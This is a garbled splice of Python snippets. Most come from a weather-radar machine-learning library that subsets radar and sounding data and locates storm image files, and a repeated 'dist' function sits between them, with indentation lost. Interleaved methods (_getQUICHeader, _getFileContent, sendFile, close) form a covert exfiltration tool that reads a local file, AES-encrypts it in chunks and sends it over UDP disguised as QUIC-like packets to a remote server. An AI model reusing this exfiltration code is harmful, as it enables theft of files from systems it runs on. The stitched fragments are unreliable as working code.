operation_dict["operation_name"]: Name of operation (must be in list
`VALID_LAYER_OPERATION_NAMES`).
operation_dict["min_height_m_agl"]: Minimum height of layer over which
operation will be applied.
operation_dict["max_height_m_agl"]: Max height of layer over which operation
will be applied.
:raises: ValueError: if something is wrong with the operation params.
"""
if operation_dict[RADAR_FIELD_KEY] in AZIMUTHAL_SHEAR_FIELD_NAMES:
error_string = (
'Layer operations cannot be applied to azimuthal-shear fields '
'(such as "{0:s}").'
).format(operation_dict[RADAR_FIELD_KEY])
raise ValueError(error_string)
if (operation_dict[RADAR_FIELD_KEY] == radar_utils.REFL_NAME
and REFL_IMAGE_MATRIX_KEY in example_dict):
pass
else:
if (operation_dict[RADAR_FIELD_KEY]
not in example_dict[RADAR_FIELDS_KEY]):
error_string = (
'\n{0:s}\nExamples contain only radar fields listed above, '
'which do not include "{1:s}".'
).format(
str(example_dict[RADAR_FIELDS_KEY]),
operation_dict[RADAR_FIELD_KEY]
)
raise ValueError(error_string)
if operation_dict[OPERATION_NAME_KEY] not in VALID_LAYER_OPERATION_NAMES:
error_string = (
'\n{0:s}\nValid operations (listed above) do not include '
'"{1:s}".'
).format(
str(VALID_LAYER_OPERATION_NAMES), operation_dict[OPERATION_NAME_KEY]
)
raise ValueError(error_string)
min_height_m_agl = operation_dict[MIN_HEIGHT_KEY]
max_height_m_agl = operation_dict[MAX_HEIGHT_KEY]
error_checking.assert_is_geq(
min_height_m_agl, numpy.min(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_leq(
max_height_m_agl, numpy.max(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_greater(max_height_m_agl, min_height_m_agl) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _getQUICHeader(self, count):
if type(count) is not hex:
try:
count_id = chr(count)
except:
sys.stderr.write("Count must be int or hex.\n")
return 1
else:
count_id = count
if count > self.max_packets:
sys.stderr.write("[-]\tCount must be maximum of 255.\n")
return 1
header = "\x0c" # Public Flags
header += self.sequence # Adding CID
header += count_id # Packet Count
return header |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _apply_layer_operation(example_dict, operation_dict):
"""Applies layer operation to radar data.
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: See doc for `_check_layer_operation`.
:return: new_radar_matrix: E-by-M-by-N numpy array resulting from layer
operation.
"""
_check_layer_operation(example_dict=example_dict,
operation_dict=operation_dict)
height_diffs_metres = (
example_dict[RADAR_HEIGHTS_KEY] - operation_dict[MIN_HEIGHT_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
min_height_index = numpy.argmax(height_diffs_metres)
height_diffs_metres = (
operation_dict[MAX_HEIGHT_KEY] - example_dict[RADAR_HEIGHTS_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
max_height_index = numpy.argmax(height_diffs_metres)
operation_dict[MIN_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][min_height_index]
operation_dict[MAX_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][max_height_index]
operation_name = operation_dict[OPERATION_NAME_KEY]
operation_function = OPERATION_NAME_TO_FUNCTION_DICT[operation_name]
if REFL_IMAGE_MATRIX_KEY in example_dict:
orig_matrix = example_dict[REFL_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), 0]
else:
field_index = example_dict[RADAR_FIELDS_KEY].index(
operation_dict[RADAR_FIELD_KEY])
orig_matrix = example_dict[RADAR_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), field_index]
return operation_function(orig_matrix, axis=-1), operation_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _getFileContent(self, file_path):
try:
f = open(file_path, 'rb')
data = f.read()
f.close()
sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
return data
except IOError, e:
sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
return 1 |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _subset_radar_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl, num_rows_to_keep,
num_columns_to_keep):
"""Subsets radar data by field, height, and horizontal extent.
If the file contains both 2-D shear images and 3-D reflectivity images (like
MYRORSS data):
- `field_names_to_keep` will be interpreted as a list of shear fields to
keep. If None, all shear fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of reflectivity
heights to keep. If None, all reflectivity heights will be kept.
If the file contains only 2-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered together, as a list of
field/height pairs to keep. If either argument is None, then all
field-height pairs will be kept.
If the file contains only 3-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered separately:
- `field_names_to_keep` will be interpreted as a list of fields to keep. If
None, all fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of heights to keep.
If None, all heights will be kept.
:param example_dict: See output doc for `_read_metadata_from_example_file`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: 1-D numpy array with indices of examples
(storm objects) to keep. These are examples in `netcdf_dataset_object`
for which radar data will be added to `example_dict`.
:param field_names_to_keep: See discussion above.
:param heights_to_keep_m_agl: See discussion above.
:param num_rows_to_keep: Number of grid rows to keep. Images will be
center-cropped (i.e., rows will be removed from the edges) to meet the
desired number of rows. If None, all rows will be kept.
:param num_columns_to_keep: Same as above but for columns.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "radar_field_names" and "radar_heights_m_agl" may have different
values.
[2] If file contains both 2-D and 3-D images, dictionary now contains keys
"reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01".
[3] If file contains only 2-D or only 3-D images, dictionary now contains
key "radar_image_matrix".
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[RADAR_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[RADAR_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
if RADAR_IMAGE_MATRIX_KEY in netcdf_dataset_object.variables:
radar_matrix = numpy.array(
netcdf_dataset_object.variables[RADAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
num_radar_dimensions = len(radar_matrix.shape) - 2
if num_radar_dimensions == 2:
these_indices = [
numpy.where(numpy.logical_and(
example_dict[RADAR_FIELDS_KEY] == f,
example_dict[RADAR_HEIGHTS_KEY] == h
))[0][0]
for f, h in zip(field_names_to_keep, heights_to_keep_m_agl)
]
these_indices = numpy.array(these_indices, dtype=int)
radar_matrix = radar_matrix[..., these_indices]
else:
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
radar_matrix = radar_matrix[..., these_field_indices]
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
radar_matrix = radar_matrix[..., these_height_indices, :]
radar_matrix = storm_images.downsize_storm_images(
storm_image_matrix=radar_matrix,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[RADAR_IMAGE_MATRIX_KEY] = radar_matrix
else:
reflectivity_matrix_dbz = numpy.array(
netcdf_dataset_object.variables[REFL_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
reflectivity_matrix_dbz = numpy.expand_dims(
reflectivity_matrix_dbz, axis=-1
)
azimuthal_shear_matrix_s01 = numpy.array(
netcdf_dataset_object.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
reflectivity_matrix_dbz = reflectivity_matrix_dbz[
..., these_height_indices, :]
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
azimuthal_shear_matrix_s01 = azimuthal_shear_matrix_s01[
..., these_field_indices]
reflectivity_matrix_dbz = storm_images.downsize_storm_images(
storm_image_matrix=reflectivity_matrix_dbz,
radar_field_name=radar_utils.REFL_NAME,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
azimuthal_shear_matrix_s01 = storm_images.downsize_storm_images(
storm_image_matrix=azimuthal_shear_matrix_s01,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[REFL_IMAGE_MATRIX_KEY] = reflectivity_matrix_dbz
example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] = azimuthal_shear_matrix_s01
example_dict[RADAR_FIELDS_KEY] = field_names_to_keep
example_dict[RADAR_HEIGHTS_KEY] = heights_to_keep_m_agl
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def sendFile(self, file_path):
# Get File content
data = self._getFileContent(file_path)
if data == 1:
return 1
# Check that the file is not too big.
if len(data) > (self.max_packets * self.max_size):
sys.stderr.write("[!]\tFile is too big for export.\n")
return 1
# If the file is not too big, start exfiltration
# Exfiltrate first packet
md5_sum = md5(file_path) # Get MD5 sum of file
packets_count = (len(data) / self.max_size)+1 # Total packets
first_packet = self._getQUICHeader(count=0) # Get header for first file
r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count) # First header
r_data = self.AESDriver.encrypt(r_data) # Encrypt data
self.sock.sendto(first_packet + r_data, self.serv_addr) # Send the data
sys.stdout.write("[+]\tSent initiation packet.\n")
# encrypted_content = self.AESDriver.encrypt(data)
# Encrypt the Chunks
raw_dat = ""
chunks = []
while data:
raw_dat += data[:self.max_size]
enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
print len(enc_chunk)
chunks.append(enc_chunk)
data = data[self.max_size:]
i = 1
for chunk in chunks:
this_data = self._getQUICHeader(count=i)
this_data += chunk
self.sock.sendto(this_data, self.serv_addr)
time.sleep(self.delay)
sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
i += 1
sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
# self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
return 0 |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _subset_sounding_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl):
"""Subsets sounding data by field and height.
:param example_dict: See doc for `_subset_radar_data`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: Same.
:param field_names_to_keep: 1-D list of field names to keep. If None, will
keep all fields.
:param heights_to_keep_m_agl: 1-D numpy array of heights to keep. If None,
will keep all heights.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "sounding_field_names" and "sounding_heights_m_agl" may have
different values.
[2] Key "sounding_matrix" has been added.
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[SOUNDING_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[SOUNDING_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
sounding_matrix = numpy.array(
netcdf_dataset_object.variables[SOUNDING_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
# TODO(thunderhoser): This is a HACK.
spfh_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.SPECIFIC_HUMIDITY_NAME)
temp_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.TEMPERATURE_NAME)
pressure_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.PRESSURE_NAME)
theta_v_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.VIRTUAL_POTENTIAL_TEMPERATURE_NAME)
sounding_matrix[..., spfh_index][
numpy.isnan(sounding_matrix[..., spfh_index])
] = 0.
nan_example_indices, nan_height_indices = numpy.where(numpy.isnan(
sounding_matrix[..., theta_v_index]
))
if len(nan_example_indices) > 0:
this_temp_matrix_kelvins = sounding_matrix[..., temp_index][
nan_example_indices, nan_height_indices]
this_pressure_matrix_pa = sounding_matrix[..., pressure_index][
nan_example_indices, nan_height_indices]
this_thetav_matrix_kelvins = (
temp_conversion.temperatures_to_potential_temperatures(
temperatures_kelvins=this_temp_matrix_kelvins,
total_pressures_pascals=this_pressure_matrix_pa)
)
sounding_matrix[..., theta_v_index][
nan_example_indices, nan_height_indices
] = this_thetav_matrix_kelvins
these_indices = numpy.array([
example_dict[SOUNDING_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices]
these_indices = numpy.array([
numpy.where(example_dict[SOUNDING_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices, :]
example_dict[SOUNDING_FIELDS_KEY] = field_names_to_keep
example_dict[SOUNDING_HEIGHTS_KEY] = heights_to_keep_m_agl
example_dict[SOUNDING_MATRIX_KEY] = sounding_matrix
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def close(self):
time.sleep(0.1)
self.sock.close()
return 0 |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_storm_images_2d(
top_directory_name, radar_source, radar_field_names,
first_spc_date_string, last_spc_date_string, radar_heights_m_agl=None,
reflectivity_heights_m_agl=None):
"""Locates files with 2-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: Name of top-level directory. Files therein will
be found by `storm_images.find_storm_image_file`.
:param radar_source: Data source (must be accepted by
`radar_utils.check_data_source`).
:param radar_field_names: 1-D list of radar fields. Each item must be
accepted by `radar_utils.check_field_name`.
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:param radar_heights_m_agl: [used only if radar_source = "gridrad"]
1-D numpy array of radar heights (metres above ground level). These
heights apply to all radar fields.
:param reflectivity_heights_m_agl: [used only if radar_source != "gridrad"]
1-D numpy array of reflectivity heights (metres above ground level).
These heights do not apply to other radar fields.
:return: radar_file_name_matrix: D-by-C numpy array of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
storm_image_file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=radar_field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
num_field_height_pairs = (
radar_file_name_matrix.shape[1] * radar_file_name_matrix.shape[2]
)
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix, (num_file_times, num_field_height_pairs)
)
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_storm_images_3d(
top_directory_name, radar_source, radar_field_names,
radar_heights_m_agl, first_spc_date_string, last_spc_date_string):
"""Locates files with 3-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param radar_source: Same.
:param radar_field_names: List (length F_r) of radar fields. Each item must
be accepted by `radar_utils.check_field_name`.
:param radar_heights_m_agl: numpy array (length H_r) of radar heights
(metres above ground level).
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:return: radar_file_name_matrix: numpy array (D x F_r x H_r) of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=[radar_utils.REFL_NAME],
reflectivity_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = file_dict[storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source != radar_utils.GRIDRAD_SOURCE_ID:
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix,
(num_file_times, 1, len(radar_heights_m_agl))
)
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_storm_images_2d3d_myrorss(
top_directory_name, first_spc_date_string, last_spc_date_string,
reflectivity_heights_m_agl):
"""Locates files with 2-D and 3-D storm-centered radar images.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param first_spc_date_string: Same.
:param last_spc_date_string: Same.
:param reflectivity_heights_m_agl: Same.
:return: az_shear_file_name_matrix: D-by-2 numpy array of file paths. Files
in column 0 are low-level az shear; files in column 1 are mid-level az
shear.
:return: reflectivity_file_name_matrix: D-by-H numpy array of file paths,
where H = number of reflectivity heights.
"""
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
field_names = AZIMUTHAL_SHEAR_FIELD_NAMES + [radar_utils.REFL_NAME]
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name,
radar_source=radar_utils.MYRORSS_SOURCE_ID,
radar_field_names=field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
radar_file_name_matrix = numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
return radar_file_name_matrix[:, :2], radar_file_name_matrix[:, 2:] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_sounding_files(
top_sounding_dir_name, radar_file_name_matrix, target_names,
lag_time_for_convective_contamination_sec):
"""Locates files with storm-centered soundings.
D = number of SPC dates in time period
:param top_sounding_dir_name: Name of top-level directory. Files therein
will be found by `soundings.find_sounding_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:param lag_time_for_convective_contamination_sec: See doc for
`soundings.read_soundings`.
:return: sounding_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
mean_lead_time_seconds = _check_target_vars(target_names)[0]
num_file_times = radar_file_name_matrix.shape[0]
sounding_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
this_time_unix_sec, this_spc_date_string = (
storm_images.image_file_name_to_time(this_file_name)
)
sounding_file_names[i] = soundings.find_sounding_file(
top_directory_name=top_sounding_dir_name,
spc_date_string=this_spc_date_string,
lead_time_seconds=mean_lead_time_seconds,
lag_time_for_convective_contamination_sec=
lag_time_for_convective_contamination_sec,
init_time_unix_sec=this_time_unix_sec, raise_error_if_missing=True)
return sounding_file_names |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_target_files(top_target_dir_name, radar_file_name_matrix,
target_names):
"""Locates files with target values (storm-hazard indicators).
D = number of SPC dates in time period
:param top_target_dir_name: Name of top-level directory. Files therein
will be found by `target_val_utils.find_target_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:return: target_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
event_type_string = _check_target_vars(target_names)[-1]
num_file_times = radar_file_name_matrix.shape[0]
target_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
_, this_spc_date_string = storm_images.image_file_name_to_time(
this_file_name)
target_file_names[i] = target_val_utils.find_target_file(
top_directory_name=top_target_dir_name,
event_type_string=event_type_string,
spc_date_string=this_spc_date_string, raise_error_if_missing=False)
if os.path.isfile(target_file_names[i]):
continue
target_file_names[i] = None
return target_file_names |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def subset_examples(example_dict, indices_to_keep, create_new_dict=False):
"""Subsets examples in dictionary.
:param example_dict: See doc for `write_example_file`.
:param indices_to_keep: 1-D numpy array with indices of examples to keep.
:param create_new_dict: Boolean flag. If True, this method will create a
new dictionary, leaving the input dictionary untouched.
:return: example_dict: Same as input, but possibly with fewer examples.
"""
error_checking.assert_is_integer_numpy_array(indices_to_keep)
error_checking.assert_is_numpy_array(indices_to_keep, num_dimensions=1)
error_checking.assert_is_boolean(create_new_dict)
if not create_new_dict:
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return example_dict
new_example_dict = {}
for this_key in METADATA_KEYS:
sounding_key_missing = (
this_key in [SOUNDING_FIELDS_KEY, SOUNDING_HEIGHTS_KEY]
and this_key not in example_dict
)
if sounding_key_missing:
continue
if this_key == TARGET_NAMES_KEY:
if this_key in example_dict:
new_example_dict[this_key] = example_dict[this_key]
else:
new_example_dict[TARGET_NAME_KEY] = example_dict[
TARGET_NAME_KEY]
continue
new_example_dict[this_key] = example_dict[this_key]
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
new_example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
new_example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
new_example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
new_example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return new_example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_example_file(
top_directory_name, shuffled=True, spc_date_string=None,
batch_number=None, raise_error_if_missing=True):
"""Looks for file with input examples.
If `shuffled = True`, this method looks for a file with shuffled examples
(from many different times). If `shuffled = False`, this method looks for a
file with examples from one SPC date.
:param top_directory_name: Name of top-level directory with input examples.
:param shuffled: Boolean flag. The role of this flag is explained in the
general discussion above.
:param spc_date_string: [used only if `shuffled = False`]
SPC date (format "yyyymmdd").
:param batch_number: [used only if `shuffled = True`]
Batch number (integer).
:param raise_error_if_missing: Boolean flag. If file is missing and
`raise_error_if_missing = True`, this method will error out.
:return: example_file_name: Path to file with input examples. If file is
missing and `raise_error_if_missing = False`, this is the *expected*
path.
:raises: ValueError: if file is missing and `raise_error_if_missing = True`.
"""
error_checking.assert_is_string(top_directory_name)
error_checking.assert_is_boolean(shuffled)
error_checking.assert_is_boolean(raise_error_if_missing)
if shuffled:
error_checking.assert_is_integer(batch_number)
error_checking.assert_is_geq(batch_number, 0)
first_batch_number = int(number_rounding.floor_to_nearest(
batch_number, NUM_BATCHES_PER_DIRECTORY))
last_batch_number = first_batch_number + NUM_BATCHES_PER_DIRECTORY - 1
example_file_name = (
'{0:s}/batches{1:07d}-{2:07d}/input_examples_batch{3:07d}.nc'
).format(top_directory_name, first_batch_number, last_batch_number,
batch_number)
else:
time_conversion.spc_date_string_to_unix_sec(spc_date_string)
example_file_name = (
'{0:s}/{1:s}/input_examples_{2:s}.nc'
).format(top_directory_name, spc_date_string[:4], spc_date_string)
if raise_error_if_missing and not os.path.isfile(example_file_name):
error_string = 'Cannot find file. Expected at: "{0:s}"'.format(
example_file_name)
raise ValueError(error_string)
return example_file_name |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def find_many_example_files(
top_directory_name, shuffled=True, first_spc_date_string=None,
last_spc_date_string=None, first_batch_number=None,
last_batch_number=None, raise_error_if_any_missing=True):
"""Looks for many files with input examples.
:param top_directory_name: See doc for `find_example_file`.
:param shuffled: Same.
:param first_spc_date_string: [used only if `shuffled = False`]
First SPC date (format "yyyymmdd"). This method will look for all SPC
dates from `first_spc_date_string`...`last_spc_date_string`.
:param last_spc_date_string: See above.
:param first_batch_number: [used only if `shuffled = True`]
First batch number (integer). This method will look for all batches
from `first_batch_number`...`last_batch_number`.
:param last_batch_number: See above.
:param raise_error_if_any_missing: Boolean flag. If *any* desired file is
not found and `raise_error_if_any_missing = True`, this method will
error out.
:return: example_file_names: 1-D list of paths to example files.
:raises: ValueError: if no files are found.
"""
error_checking.assert_is_boolean(shuffled)
if shuffled:
error_checking.assert_is_integer(first_batch_number)
error_checking.assert_is_integer(last_batch_number)
error_checking.assert_is_geq(first_batch_number, 0)
error_checking.assert_is_geq(last_batch_number, first_batch_number)
example_file_pattern = (
'{0:s}/batches{1:s}-{1:s}/input_examples_batch{1:s}.nc'
).format(top_directory_name, BATCH_NUMBER_REGEX)
example_file_names = glob.glob(example_file_pattern)
if len(example_file_names) > 0:
batch_numbers = numpy.array(
[_file_name_to_batch_number(f) for f in example_file_names],
dtype=int)
good_indices = numpy.where(numpy.logical_and(
batch_numbers >= first_batch_number,
batch_numbers <= last_batch_number
))[0]
example_file_names = [example_file_names[k] for k in good_indices]
if len(example_file_names) == 0:
error_string = (
'Cannot find any files with batch number from {0:d}...{1:d}.'
).format(first_batch_number, last_batch_number)
raise ValueError(error_string)
return example_file_names
spc_date_strings = time_conversion.get_spc_dates_in_range(
first_spc_date_string=first_spc_date_string,
last_spc_date_string=last_spc_date_string)
example_file_names = []
for this_spc_date_string in spc_date_strings:
this_file_name = find_example_file(
top_directory_name=top_directory_name, shuffled=False,
spc_date_string=this_spc_date_string,
raise_error_if_missing=raise_error_if_any_missing)
if not os.path.isfile(this_file_name):
continue
example_file_names.append(this_file_name)
if len(example_file_names) == 0:
error_string = (
'Cannot find any file with SPC date from {0:s} to {1:s}.'
).format(first_spc_date_string, last_spc_date_string)
raise ValueError(error_string)
return example_file_names |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def read_example_file(
netcdf_file_name, read_all_target_vars, target_name=None,
metadata_only=False, targets_only=False, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
first_time_to_keep_unix_sec=None, last_time_to_keep_unix_sec=None,
num_rows_to_keep=None, num_columns_to_keep=None,
